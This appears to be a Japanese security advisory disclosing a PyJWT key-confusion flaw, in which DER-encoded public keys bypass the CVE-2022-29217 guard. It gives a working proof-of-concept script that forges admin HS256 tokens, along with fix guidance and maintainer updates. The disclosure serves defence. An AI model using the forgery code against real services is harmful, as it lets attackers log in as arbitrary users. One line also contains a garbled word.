PyJWT: DER形式の公開鍵が、HMACのシークレットとして受け入れられ、CVE-2022-29217による保護を回避される。

### 概要

`HMACAlgorithm.prepare_key`は、非対称鍵がHMACのシークレットとして使用されるのを防ぐために、テキストベースのマーカーのみを検索する。 `-----BEGIN`や`ssh-`というプレフィックスの存在を確認する。 同じ鍵がDER形式の場合、バイナリのASN.1形式であり、これらのマーカーは存在しないため、チェックを通過し、HMACのシークレットとして使用される。

RSAまたはECの公開鍵を使用してトークンを検証し、同時に同じ鍵でHS256を使用するアプリケーションは、偽造されたトークンを受け入れる可能性がある。 攻撃者は、公開されている公開鍵を使用してトークンに署名する。 これが、CVE-2022-29217で報告された鍵の混同問題であり、異なるエンコーディングによって再び発生する可能性がある。

この問題の影響範囲は、元のCVEよりも小さい。 アプリケーションはすでに誤った設定になっており、公開鍵をPEM形式ではなくDER形式のバイトとして保持している必要がある。

### 詳細

この保護機構は、`jwt/algorithms.py:331`に存在する。

```python
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
```

これらのヘルパー関数は、どちらもテキストベースのマッチングを行う。 どちらも鍵を解析しない。

- `jwt/utils.py:126`, `is_pem_format`: `----[- ]BEGIN ...----`という正規表現を実行する。
- `jwt/utils.py:141`, `is_ssh_key`: `startswith`を使用して、`ssh-`や`ecdsa-sha2-`というプレフィックスのリストと照合する。

DERでエンコードされた公開鍵は、`0x30 0x82`というバイトで始まる。 どちらのマッチングにも該当しないため、`prepare_key`はこれを変更せずに返し、HMACのシークレットとして使用される。

このパッケージ全体で、DERの処理に関する記述は存在しない。 `grep -rni "\bDER\b|load_der" jwt/ tests/`を実行しても、何も結果は返されない。

これは、PEM形式ではすべてブロックされている以下の3つのエンコーディングに影響する。

- DER SubjectPublicKeyInfo
- DER PKCS#1
- DERでエンコードされたX.509証明書

この保護機構の経緯:

- 2.4.0で、CVE-2022-29217およびGHSA-ffqj-6fqr-9h24に対応するため、PEMおよびSSHのサポートを追加しました。
- 2.13.0で、GHSA-xgmm-8j9v-c9wxに対応するため、JWK JSONドキュメントのサポートを拡張しました。
- DER形式は、これまで対応されていませんでした。

`PyJWK`または`PyJWKClient`を使用するアプリケーションは影響を受けません。`jwt/api_jws.py:395`では、ヘッダーの`alg`がキー自身のアルゴリズムにバインドされるため、HS256がそのパスで`HMACAlgorithm.prepare_key`に到達することはありません。

推奨される修正方法:バイト列をキーとして解析し、解析が成功した場合に拒否します。例えば、既存のチェックの隣に、`load_der_public_key`、`load_der_private_key`、および`load_der_x509_certificate`をtry/exceptブロックで配置します。ランダムなHMACシークレットは有効なDERとして解析されないため、実際のシークレットは拒否されるべきではありません。

### PoC (概念実証)

2.4.0、2.13.0、およびmainブランチのコミット`7144e4534`でテストしました。いずれも同じ動作でした。2.4.0以降、ガードはマーカーベースであるため、その間のバージョンも影響を受けている可能性が高いです。

```console
pip install "pyjwt==2.13.0" cryptography
python poc.py
```

特別な設定は必要ありません。スクリプトは独自のキーを生成します。

```python
import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=")
```

```
def forge(secret):
# 攻撃者はPyJWTを使用しません。公開鍵のバイトデータのみが必要です。
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
signing_input = head + b"." + body
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + b64(sig)).decode()

# PEM形式は、期待通り、CVE-2022-29217の影響を受けるため、拒否されます。
try:
jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
print("PEM形式は拒否されました:", exc)

# 同じ鍵を使用し、DER形式の場合。偽造されたトークンは検証されます。
print("DER形式のSPKIは受け入れられました:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER形式のPKCS#1は受け入れられました:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))
```

```
PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}
```

このトークンは単純な`hmac`で署名されているため、検証パスのみが実行されます。PEMとDERの値は同じ鍵オブジェクトから取得されるため、エンコード形式のみが異なります。

また、pytest形式で記述された回帰テストも用意されています。このテストでは、`tests/keys`のフィクスチャを使用し、DER形式の証明書の場合もカバーしており、現在のmainでは失敗します。必要であれば、このテストをお送りしたり、プルリクエストを作成したりできます。

### 影響

鍵の混同、CWE-347、暗号署名の不適切な検証。CVE-2022-29217と同じ種類の脆弱性です。

影響を受ける対象: 非対称公開鍵を使用してトークンを検証し、HS*アルゴリズムも指定しているアプリケーション。これらのアプリケーションは、公開鍵をDER形式のバイトとして`jwt.decode`に渡しています。

攻撃者が得られるもの: 攻撃者は、任意のクレームを持つトークンを作成できるため、任意のユーザーとしてログインできます。公開鍵は公開されており、それをDER形式に再エンコードすることができます。秘密情報を事前に盗む必要はありません。

制限事項:この問題が発生するには、アプリケーションがすでにHS*とRS*の混在した誤った設定になっている必要があります。また、hoEMという形式は一般的ですが、依然としてブロックされています。`PyJWK`および`PyJWKClient`のユーザーは影響を受けません。

> メンテナからの更新(2026年9月10日):DER形式のSubjectPublicKeyInfo、RSA PKCS#1の公開鍵DER形式、およびDER形式のX.509証明書について、呼び出し元がHS*と非対称アルゴリズムを組み合わせて、公開鍵をそのままのバイト列として渡した場合に、問題が再現されました。修正は、masterブランチのコミット2798504fa2663364573cf2d1043d8d7fef389499に含まれています。`HMACAlgorithm.prepare_key`は、cryptographyが利用可能な場合、DER形式の公開鍵と証明書を拒否するようになりましたが、任意のバイナリ形式のHMACシークレットは引き続き受け入れられます。検証には、DER形式の回帰テストとコントロールテスト、および`python -m tox`(利用可能な環境はすべてパス、利用できないインタプリタはスキップ)が含まれます。また、Ruff、mypy、パッケージング、およびカバレッジのテストも実施されました。この修正はまだリリースされていません。そのため、この注意喚起は、トリアージからドラフトに移行され、サポートされている2.xのリリースに修正が含まれるまで公開されません。秘密鍵のコンテナ形式は、今回の修正の対象範囲外です。

## メンテナからの更新 — 2026年9月11日

この注意喚起に対する修正は、PyJWT 2.14.0に含まれています。PyJWT 2.14.0は、2026年9月11日にリリースされ、PyPIで利用可能です。PyJWT 2.14.0は、この修正を含む最初のリリースです。この注意喚起は、2.14.0が修正されたバージョンとして、現在公開されています。

影響を受けるパッケージ:
- pip (Python) pyjwt: 影響を受けるバージョンは、2.4.0以上、2.14.0未満。修正は2.14.0で実施されました。